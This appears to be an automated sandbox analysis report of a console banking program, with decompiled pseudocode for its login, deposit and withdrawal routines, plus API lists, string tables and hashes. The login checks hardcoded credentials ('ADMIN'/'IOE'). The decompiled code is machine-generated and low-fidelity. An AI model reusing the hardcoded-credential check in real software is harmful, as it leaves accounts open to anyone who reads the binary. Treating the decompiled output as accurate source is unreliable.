Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC4A6E
_wprintf.LIBCMT ref: 00EC4A84
_wscanf.LIBCMT ref: 00EC4A95
_swscanf.LIBCMT ref: 00EC4B02
_wprintf.LIBCMT ref: 00EC4B51
_wprintf.LIBCMT ref: 00EC4B67

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2152

Strings

Withdraw from A/C number : , xrefs: 00EC49FE
%s to be Withdrawn from A/C number : %s [%s], xrefs: 00EC4BD7
%s %s %s %s %.2f %s, xrefs: 00EC4E47
Amount to be Withdrawn (in NRs.) : , xrefs: 00EC4A7F
TEMP.DAT, xrefs: 00EC4C9E
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC4CF3
Are you sure you want to perform this tranasction? <Y/N>, xrefs: 00EC4C5F
Transaction NOT completed!, xrefs: 00EC4B62
Confirm Transaction, xrefs: 00EC4B9C
Given A/C number does not exits!, xrefs: 00EC4A47
Cash+Withdrawn, xrefs: 00EC4E3E
ACCOUNT.DAT, xrefs: 00EC4A21
ACCOUNT.DAT, xrefs: 00EC4AA2
Transaction completed successfully!, xrefs: 00EC4E77
TRANSACTION.DAT, xrefs: 00EC4E03
Sorry, the current balance is Rs. %.2f only!, xrefs: 00EC4B4C
%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f, xrefs: 00EC4DC8
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC4AF7
[ %s ], xrefs: 00EC4A69
ACCOUNT.DAT, xrefs: 00EC4C87

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_wscanf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_swscanf_vwscanf
String ID: %s %s %s %s %.2f %s$%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f$%s %s %s %s %s %s %c %s %c %f %f %f$%s %s %s %s %s %s %c %s %c %f %f %f$%s to be Withdrawn from A/C number : %s [%s]$ACCOUNT.DAT$ACCOUNT.DAT$ACCOUNT.DAT$Amount to be Withdrawn (in NRs.) : $Are you sure you want to perform this tranasction? <Y/N>$Cash+Withdrawn$Confirm Transaction$Given A/C number does not exits!$Sorry, the current balance is Rs. %.2f only!$TEMP.DAT$TRANSACTION.DAT$Transaction NOT completed!$Transaction completed successfully!$Withdraw from A/C number : $[ %s ]
API String ID: 427838879-2716176803
Opcode ID: 93dbbc9fd1819853df08c7c6d5648c00c31e7c11fce6f805f92c1e3fe32b5f33
Instruction ID: fe6c82f71a59f1bfc4e3bf4178cb1686794b86b3d4cc0211e5cfb8c859a7cfb6
Opcode Fuzzy Hash: 93dbbc9fd1819853df08c7c6d5648c00c31e7c11fce6f805f92c1e3fe32b5f33
Instruction Fuzzy Hash: 14C1D4B2D1034C6ADB15EBE1CE42FDEB3B8AF59700F04525DF20576181FAB266898F61

Uniqueness

Uniqueness Score: -1.00%

Function 00EC22F0, Relevance: 57.9, APIs: 17, Strings: 16, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00EC22F0(void* __edi, void* __esi, void* __fp0) {
				char _v5;
				char _v6;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v60;
				char _v92;
				void* __ebp;
				void* _t50;
				void* _t74;
				void* _t78;
				void* _t85;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t100;
				void* _t101;
				void* _t106;
				void* _t116;

				_t116 = __fp0;
				_t95 = __esi;
				_t94 = __edi;
				_v60 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v20 = 0;
				_v16 = 0;
				do {
					_v20 = 0;
					E00EC12B0(7, 5);
					_push("Only THREE attempts shall be allowed to enter username and password.");
					E00EC715C(_t85, _t94, _t95, 0);
					E00EC1380(_t94, _t95, 0, 0xa, 8, 0x46, 0xf);
					E00EC12B0(0x17, 0xa);
					_push("Enter User name : ");
					E00EC715C(_t85, _t94, _t95, 0);
					E00EC738B("%s",  &_v92);
					E00EC12B0(0x17, 0xc);
					_push("Password        : ");
					E00EC715C(_t85, _t94, _t95, 0);
					_t100 = _t96 + 0x14;
					E00EC12F0(_t94, _t95,  &_v60);
					_v16 = _v16 + 1;
					_t110 = _v16 - 3;
					if(_v16 == 3) {
						E00EC20E0( &_v92, _t94, _t95, _t110, _t116);
						E00EC12B0(0x19, 8);
						_push(0xedf224);
						E00EC715C(_t85, _t94, _t95, _t110);
						E00EC12B0(0x16, 0xb);
						_push("Press any key to exit the program...");
						E00EC715C(_t85, _t94, _t95, _t110);
						_t100 = _t100 + 8;
						E00EC77B1(0);
					}
					_t87 =  &_v92;
					_t50 = E00EC8230( &_v92, "ADMIN");
					_t101 = _t100 + 8;
					if(_t50 != 0) {
						L6:
						E00EC20E0(_t87, _t94, _t95, __eflags, _t116);
						E00EC12B0(0x19, 0xa);
						_push(0xedf278);
						E00EC715C(_t85, _t94, _t95, __eflags);
						_t96 = _t101 + 4;
					} else {
						_t78 = E00EC8230( &_v60, "IOE");
						_t101 = _t101 + 8;
						if(_t78 != 0) {
							goto L6;
						} else {
							_v20 = 1;
						}
					}
					_t113 = _v20 - 1;
				} while (_v20 != 1);
				do {
					E00EC20E0(_t87, _t94, _t95, _t113, _t116);
					E00EC12B0(0x1e, 8);
					_push("1. Add User");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0xa);
					_push("2. Delete User");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0xc);
					_push("3. Edit User name / Password");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0xe);
					_push("4. View User Log");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0x10);
					_push("5. Exit");
					E00EC715C(_t85, _t94, _t95, _t113);
					_t106 = _t96 + 0x14;
					E00EC12B0(1, 0x11);
					_v24 = 0;
					while(1) {
						_t114 = _v24 - 0x4e;
						if(_v24 >= 0x4e) {
							break;
						}
						_push("_");
						E00EC715C(_t85, _t94, _t95, _t114);
						_t106 = _t106 + 4;
						_v24 = _v24 + 1;
					}
					E00EC12B0(0x17, 0x13);
					_push(" Press a number between the range [1 -5]  ");
					E00EC715C(_t85, _t94, _t95, __eflags);
					_t96 = _t106 + 4;
					_t89 = _v6 - 0x30;
					_v28 = _v6 - 0x30;
					_v12 = _v28;
					_v12 = _v12 - 1;
					__eflags = _v12 - 4;
					if(__eflags > 0) {
						E00EC20E0(_t89, _t94, _t95, __eflags, _t116);
						E00EC12B0(0xa, 0xa);
						_push("Your input is out of range! Enter a choice between 1 to 5!");
						E00EC715C(_t85, _t94, _t95, __eflags);
						E00EC12B0(0xf, 0xc);
						_push("Press ENTER to return to main menu...");
						_t74 = E00EC715C(_t85, _t94, _t95, __eflags);
						_t96 = _t96 + 8;
					} else {
						switch( *((intOrPtr*)(_v12 * 4 +  &M00EC25A8))) {
							case 0:
								_t74 = E00EC25C0(_t85, _t94, _t95, _t116);
								goto L23;
							case 1:
								E00EC2800(__ebx, __ecx, __edi, __esi, __fp0);
								goto L23;
							case 2:
								E00EC2B10(__ebx, __edi, __esi, __fp0);
								goto L23;
							case 3:
								E00EC2E80(__ebx, __edx, __eflags, __fp0);
								goto L23;
							case 4:
								E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0);
								E00EC12B0(0xf, 0xa);
								_push("Are you sure you want to exit? <Y/N> : ");
								E00EC715C(__ebx, __edi, __esi, __eflags);
								__esp = __esp + 4;
								__edx = _v5;
								__eflags = _v5 - 0x59;
								if(_v5 == 0x59) {
									L20:
									E00EC77B1(0);
								} else {
									__eflags = _v5 - 0x79;
									if(_v5 == 0x79) {
										goto L20;
									}
								}
								goto L23;
						}
					}
					L23:
					_t87 = 1;
					__eflags = 1;
				} while (1 != 0);
				return _t74;
			}

0x00ec22f0
0x00ec22f0
0x00ec22f0
0x00ec22f6
0x00ec22fc
0x00ec22ff
0x00ec2302
0x00ec2305
0x00ec2308
0x00ec230b
0x00ec230e
0x00ec2311
0x00ec2314
0x00ec231b
0x00ec2322
0x00ec2322
0x00ec232d
0x00ec2332
0x00ec2337
0x00ec2347
0x00ec2350
0x00ec2355
0x00ec235a
0x00ec236b
0x00ec2377
0x00ec237c
0x00ec2381
0x00ec2386
0x00ec238d
0x00ec2398
0x00ec239b
0x00ec239f
0x00ec23a1
0x00ec23aa
0x00ec23af
0x00ec23b4
0x00ec23c0
0x00ec23c5
0x00ec23ca
0x00ec23cf
0x00ec23d4
0x00ec23d4
0x00ec23de
0x00ec23e2
0x00ec23e7
0x00ec23ec
0x00ec240c
0x00ec240c
0x00ec2415
0x00ec241a
0x00ec241f
0x00ec2424
0x00ec23ee
0x00ec23f7
0x00ec23fc
0x00ec2401
0x00000000
0x00ec2403
0x00ec2403
0x00ec2403
0x00ec2401
0x00ec2427
0x00ec2427
0x00ec2431
0x00ec2431
0x00ec243a
0x00ec243f
0x00ec2444
0x00ec2450
0x00ec2455
0x00ec245a
0x00ec2466
0x00ec246b
0x00ec2470
0x00ec247c
0x00ec2481
0x00ec2486
0x00ec2492
0x00ec2497
0x00ec249c
0x00ec24a1
0x00ec24a8
0x00ec24ad
0x00ec24bf
0x00ec24bf
0x00ec24c3
0x00000000
0x00000000
0x00ec24c5
0x00ec24ca
0x00ec24cf
0x00ec24bc
0x00ec24bc
0x00ec24d8
0x00ec24dd
0x00ec24e2
0x00ec24e7
0x00ec24ee
0x00ec24f1
0x00ec24f7
0x00ec2500
0x00ec2503
0x00ec2507
0x00ec2565
0x00ec256e
0x00ec2573
0x00ec2578
0x00ec2584
0x00ec2589
0x00ec258e
0x00ec2593
0x00ec2509
0x00ec250c
0x00000000
0x00ec2513
0x00000000
0x00000000
0x00ec251a
0x00000000
0x00000000
0x00ec2521
0x00000000
0x00000000
0x00ec2528
0x00000000
0x00000000
0x00ec252f
0x00ec2538
0x00ec253d
0x00ec2542
0x00ec2547
0x00ec254a
0x00ec254e
0x00ec2551
0x00ec255c
0x00ec255e
0x00ec2553
0x00ec2557
0x00ec255a
0x00000000
0x00000000
0x00ec255a
0x00000000
0x00000000
0x00ec250c
0x00ec2596
0x00ec2596
0x00ec259b
0x00ec259b
0x00ec25a6

APIs

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC2337

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

_wprintf.LIBCMT ref: 00EC235A

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wscanf.LIBCMT ref: 00EC236B

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC2381

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

_wprintf.LIBCMT ref: 00EC23B4
_wprintf.LIBCMT ref: 00EC241F

Part of subcall function 00EC25C0: _wprintf.LIBCMT ref: 00EC262D
Part of subcall function 00EC25C0: _wscanf.LIBCMT ref: 00EC263F
Part of subcall function 00EC25C0: _swscanf.LIBCMT ref: 00EC2681
Part of subcall function 00EC25C0: _wprintf.LIBCMT ref: 00EC26D1

_wprintf.LIBCMT ref: 00EC23CA

Part of subcall function 00EC77B1: _doexit.LIBCMT ref: 00EC77BB

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2152

_wprintf.LIBCMT ref: 00EC2444
_wprintf.LIBCMT ref: 00EC245A
_wprintf.LIBCMT ref: 00EC2470
_wprintf.LIBCMT ref: 00EC2486
_wprintf.LIBCMT ref: 00EC249C
_wprintf.LIBCMT ref: 00EC24CA
_wprintf.LIBCMT ref: 00EC24E2

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Strings

Your input is out of range! Enter a choice between 1 to 5!, xrefs: 00EC2573
2. Delete User, xrefs: 00EC2455
4. View User Log, xrefs: 00EC2481
Press a number between the range [1 -5] , xrefs: 00EC24DD
3. Edit User name / Password, xrefs: 00EC246B
5. Exit, xrefs: 00EC2497
N, xrefs: 00EC24BF
Enter User name : , xrefs: 00EC2355
ADMIN, xrefs: 00EC23D9
Press ENTER to return to main menu..., xrefs: 00EC2589
Password : , xrefs: 00EC237C
Press any key to exit the program..., xrefs: 00EC23C5
Are you sure you want to exit? <Y/N> : , xrefs: 00EC253D
Only THREE attempts shall be allowed to enter username and password., xrefs: 00EC2332
1. Add User, xrefs: 00EC243F
IOE, xrefs: 00EC23EE

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_wscanf$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf_doexit_swscanf_vwscanf
String ID: Press a number between the range [1 -5] $1. Add User$2. Delete User$3. Edit User name / Password$4. View User Log$5. Exit$ADMIN$Are you sure you want to exit? <Y/N> : $Enter User name : $IOE$N$Only THREE attempts shall be allowed to enter username and password.$Password : $Press ENTER to return to main menu...$Press any key to exit the program...$Your input is out of range! Enter a choice between 1 to 5!
API String ID: 3691436685-2046970424
Opcode ID: d9554d21564fa3532e2640c89f9c3556db546b694110116b183cf2fac4aa6715
Instruction ID: 27a9f0871c920dab946d8f438416d91d7fb0aceb72493450a1955f50e6956e37
Opcode Fuzzy Hash: d9554d21564fa3532e2640c89f9c3556db546b694110116b183cf2fac4aa6715
Instruction Fuzzy Hash: 4661A6B4E94305A6EB14BBE08E03F9E75B06F12B04F04213EF646752D3E9B35247966B

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4640, Relevance: 52.8, APIs: 14, Strings: 16, Instructions: 252
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00EC4640(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v42;
				char _v62;
				char _v112;
				char _v113;
				char _v125;
				char _v140;
				char _v170;
				char _v200;
				char _v208;
				char _v244;
				char _v280;
				char _v360;
				char _v440;
				void* __ebp;
				void* _t57;
				char _t73;
				intOrPtr _t75;
				void* _t80;
				intOrPtr _t81;
				intOrPtr _t86;
				void* _t93;
				intOrPtr _t103;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t129;
				intOrPtr _t134;
				void* _t137;
				void* _t141;
				void* _t151;
				void* _t153;
				void* _t154;
				void* _t163;

				_t170 = __fp0;
				_t168 = __eflags;
				_t136 = __esi;
				_t135 = __edi;
				_t101 = __ebx;
				_v16 = 0;
				E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0);
				E00EC12B0(5, 0xa);
				_push("Deposit to A/C number            : ");
				E00EC715C(__ebx, __edi, __esi, __eflags);
				E00EC738B("%s",  &_v28);
				 *0xee2f28 = E00EC6EF1("ACCOUNT.DAT", "r");
				_t103 =  *0xee2f28; // 0x0
				_push(_t103);
				E00EC6DB6(__ebx, _t135, _t136, _t168);
				_t141 = _t137 + 0x18;
				_t169 = _v16;
				if(_v16 == 0) {
					E00EC20E0(_t103, _t135, _t136, _t169, __fp0);
					E00EC12B0(0x14, 0xc);
					_push("Given A/C number does not exits!");
					return E00EC715C(_t101, _t135, _t136, _t169);
				}
				E00EC12B0(0x32, 0xa);
				_push( &_v244);
				_push("[ %s ]");
				E00EC715C(_t101, _t135, _t136, __eflags);
				E00EC12B0(5, 0xc);
				_push("Amount to be Deposited (in NRs.) : ");
				E00EC715C(_t101, _t135, _t136, __eflags);
				E00EC738B("%f",  &_v12);
				E00EC20E0(_t103, _t135, _t136, __eflags, __fp0);
				E00EC12B0(0x1e, 0xa);
				_push("Confirm Transaction");
				_t57 = E00EC715C(_t101, _t135, _t136, __eflags);
				asm("movss xmm0, [ebp-0x8]");
				asm("movss [esp], xmm0");
				E00EC1870(_t57,  &_v280);
				E00EC12B0(3, 0xc);
				_push( &_v244);
				_push( &_v28);
				E00EC715C(_t101, _t135, _t136, __eflags);
				asm("cvtss2sd xmm0, [ebp-0x8]");
				asm("movsd [esp], xmm0");
				E00EC1B30( &_v440, "%s to be deposited in A/C number : %s [ %s ]",  &_v280);
				E00EC8140( &_v360,  &_v440);
				E00EC8140( &_v360, "]");
				E00EC12B0(0x28 - (E00EC82C0( &_v360) >> 1), 0xe);
				_push( &_v360);
				E00EC7229(_t101, _t135, _t136, __eflags);
				E00EC12B0(8, 0x11);
				_push("Are you sure you want to perform this tranasction? <Y/N>");
				E00EC715C(_t101, _t135, _t136, __eflags);
				_t151 = _t141 + 0x24 - 8 + 0x1c;
				_t73 = _v5;
				__eflags = _t73 - 0x59;
				if(_t73 == 0x59) {
					L4:
					 *0xee2f28 = E00EC6EF1("ACCOUNT.DAT", "r");
					_t75 = E00EC6EF1("TEMP.DAT", "a");
					_t153 = _t151 + 0x10;
					 *0xee2f24 = _t75;
					while(1) {
						_push( &_v32);
						_push( &_v36);
						_push( &_v40);
						_push( &_v42);
						_push( &_v140);
						_push( &_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_t129 =  *0xee2f28; // 0x0
						_t80 = E00EC7021(_t129, "%s %s %s %s %s %s %c %s %c %f %f %f\n",  &_v208);
						_t154 = _t153 + 0x38;
						__eflags = _t80 - 0xffffffff;
						if(__eflags == 0) {
							break;
						}
						_t93 = E00EC8230( &_v208,  &_v28);
						_t163 = _t154 + 8;
						__eflags = _t93;
						if(__eflags == 0) {
							asm("movss xmm0, [ebp-0x24]");
							asm("addss xmm0, [ebp-0x8]");
							asm("movss [ebp-0x24], xmm0");
						}
						asm("movss xmm0, [ebp-0x24]");
						asm("addss xmm0, [ebp-0x20]");
						asm("movss [ebp-0x1c], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x1c]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x20]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x24]");
						asm("movsd [esp], xmm0");
						_push(_v42);
						_push( &_v140);
						_push(_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_push( &_v208);
						_push("%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f\n");
						_t134 =  *0xee2f24; // 0x0
						_push(_t134);
						E00EC6F06(_t101, _t135, _t136, __eflags);
						_t153 = _t163 - 0xfffffffffffffff8 + 0x44;
					}
					_t81 =  *0xee2f24; // 0x0
					_push(_t81);
					E00EC6DB6(_t101, _t135, _t136, __eflags);
					_t113 =  *0xee2f28; // 0x0
					_push(_t113);
					E00EC6DB6(_t101, _t135, _t136, __eflags);
					 *0xee2f28 = E00EC6EF1("TRANSACTION.DAT", "a");
					E00EC8417(__eflags, 0xee2f30);
					_push(0xee2ee4);
					asm("cvtss2sd xmm0, [ebp-0x8]");
					asm("movsd [esp], xmm0");
					_push(0xee2f30);
					_push(0xee2f40);
					_push("Cash+Deposited");
					_push( &_v28);
					_push("%s %s %s %s %.2f %s\n");
					_t86 =  *0xee2f28; // 0x0
					_push(_t86);
					E00EC6F06(_t101, _t135, _t136, __eflags);
					_t114 =  *0xee2f28; // 0x0
					_push(_t114);
					E00EC6DB6(_t101, _t135, _t136, __eflags);
					E00EC20E0(_t114, _t135, _t136, __eflags, _t170);
					E00EC12B0(0x14, 0xc);
					_push("Transaction completed successfully!");
					return E00EC715C(_t101, _t135, _t136, __eflags);
				}
				__eflags = _v5 - 0x79;
				if(_v5 == 0x79) {
					goto L4;
				}
				return _t73;
			}

0x00ec4640
0x00ec4640
0x00ec4640
0x00ec4640
0x00ec4640
0x00ec4649
0x00ec4650
0x00ec4659
0x00ec465e
0x00ec4663
0x00ec4674
0x00ec468e
0x00ec4693
0x00ec4699
0x00ec469a
0x00ec469f
0x00ec46a2
0x00ec46a6
0x00ec46a8
0x00ec46b1
0x00ec46b6
0x00000000
0x00ec46c0
0x00ec46cc
0x00ec46d7
0x00ec46d8
0x00ec46dd
0x00ec46e9
0x00ec46ee
0x00ec46f3
0x00ec4704
0x00ec470c
0x00ec4715
0x00ec471a
0x00ec471f
0x00ec4724
0x00ec4729
0x00ec4735
0x00ec473e
0x00ec4749
0x00ec474d
0x00ec475a
0x00ec4769
0x00ec4771
0x00ec4776
0x00ec4789
0x00ec479d
0x00ec47c0
0x00ec47cb
0x00ec47cc
0x00ec47d8
0x00ec47dd
0x00ec47e2
0x00ec47e7
0x00ec47ea
0x00ec47ee
0x00ec47f1
0x00ec4800
0x00ec4812
0x00ec4821
0x00ec4826
0x00ec4829
0x00ec482e
0x00ec4831
0x00ec4835
0x00ec4839
0x00ec483d
0x00ec4844
0x00ec4848
0x00ec484c
0x00ec4850
0x00ec4854
0x00ec485b
0x00ec4862
0x00ec486f
0x00ec4876
0x00ec487b
0x00ec487e
0x00ec4881
0x00000000
0x00000000
0x00ec4892
0x00ec4897
0x00ec489a
0x00ec489c
0x00ec489e
0x00ec48a3
0x00ec48a8
0x00ec48a8
0x00ec48ad
0x00ec48b2
0x00ec48b7
0x00ec48bc
0x00ec48c4
0x00ec48c9
0x00ec48d1
0x00ec48d6
0x00ec48de
0x00ec48e7
0x00ec48ee
0x00ec48f3
0x00ec48f7
0x00ec48fb
0x00ec48ff
0x00ec4906
0x00ec490d
0x00ec4914
0x00ec4915
0x00ec491a
0x00ec4920
0x00ec4921
0x00ec4926
0x00ec4926
0x00ec492e
0x00ec4933
0x00ec4934
0x00ec493c
0x00ec4942
0x00ec4943
0x00ec495d
0x00ec4967
0x00ec496f
0x00ec4974
0x00ec497c
0x00ec4981
0x00ec4986
0x00ec498b
0x00ec4993
0x00ec4994
0x00ec4999
0x00ec499e
0x00ec499f
0x00ec49a7
0x00ec49ad
0x00ec49ae
0x00ec49b6
0x00ec49bf
0x00ec49c4
0x00000000
0x00ec49ce
0x00ec47f7
0x00ec47fa
0x00000000
0x00000000
0x00ec49d4

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC4663
_wscanf.LIBCMT ref: 00EC4674

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_wprintf.LIBCMT ref: 00EC46BB

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC46DD
_wprintf.LIBCMT ref: 00EC46F3
_wscanf.LIBCMT ref: 00EC4704
_wprintf.LIBCMT ref: 00EC471F
_wprintf.LIBCMT ref: 00EC475A
_wprintf.LIBCMT ref: 00EC47E2

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2152

Strings

TEMP.DAT, xrefs: 00EC481C
%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f, xrefs: 00EC4915
Deposit to A/C number : , xrefs: 00EC465E
Cash+Deposited, xrefs: 00EC498B
ACCOUNT.DAT, xrefs: 00EC4681
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC486A
Are you sure you want to perform this tranasction? <Y/N>, xrefs: 00EC47DD
%s to be deposited in A/C number : %s [ %s ], xrefs: 00EC4755
Amount to be Deposited (in NRs.) : , xrefs: 00EC46EE
Given A/C number does not exits!, xrefs: 00EC46B6
TRANSACTION.DAT, xrefs: 00EC4950
%s %s %s %s %.2f %s, xrefs: 00EC4994
[ %s ], xrefs: 00EC46D8
ACCOUNT.DAT, xrefs: 00EC4805
Confirm Transaction, xrefs: 00EC471A
Transaction completed successfully!, xrefs: 00EC49C4

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_wscanf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_vwscanf
String ID: %s %s %s %s %.2f %s$%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f$%s %s %s %s %s %s %c %s %c %f %f %f$%s to be deposited in A/C number : %s [ %s ]$ACCOUNT.DAT$ACCOUNT.DAT$Amount to be Deposited (in NRs.) : $Are you sure you want to perform this tranasction? <Y/N>$Cash+Deposited$Confirm Transaction$Deposit to A/C number : $Given A/C number does not exits!$TEMP.DAT$TRANSACTION.DAT$Transaction completed successfully!$[ %s ]
API String ID: 532294799-930819241
Opcode ID: 118d43b5a339910a1f945e7da262a0fb19729afd2f7ab274007c638b474404c4
Instruction ID: 7e8690b3ab26cdcced46589fe08251cd2a87de939290e3a3886196f5410dce5e
Opcode Fuzzy Hash: 118d43b5a339910a1f945e7da262a0fb19729afd2f7ab274007c638b474404c4
Instruction Fuzzy Hash: 2091E5B2D1034C6BDB15FBE08E43FDE73B85B1A700F04625DF60575181FAB266898BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2B10, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00EC2B10(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v19;
				char _v23;
				char _v27;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v47;
				char _v48;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v67;
				char _v71;
				char _v75;
				char _v79;
				char _v80;
				char _v83;
				char _v87;
				char _v91;
				char _v95;
				char _v99;
				char _v103;
				char _v107;
				char _v111;
				char _v112;
				char _v144;
				char _v176;
				char _v208;
				void* __ebp;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t68;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t88;
				intOrPtr _t89;
				intOrPtr _t95;
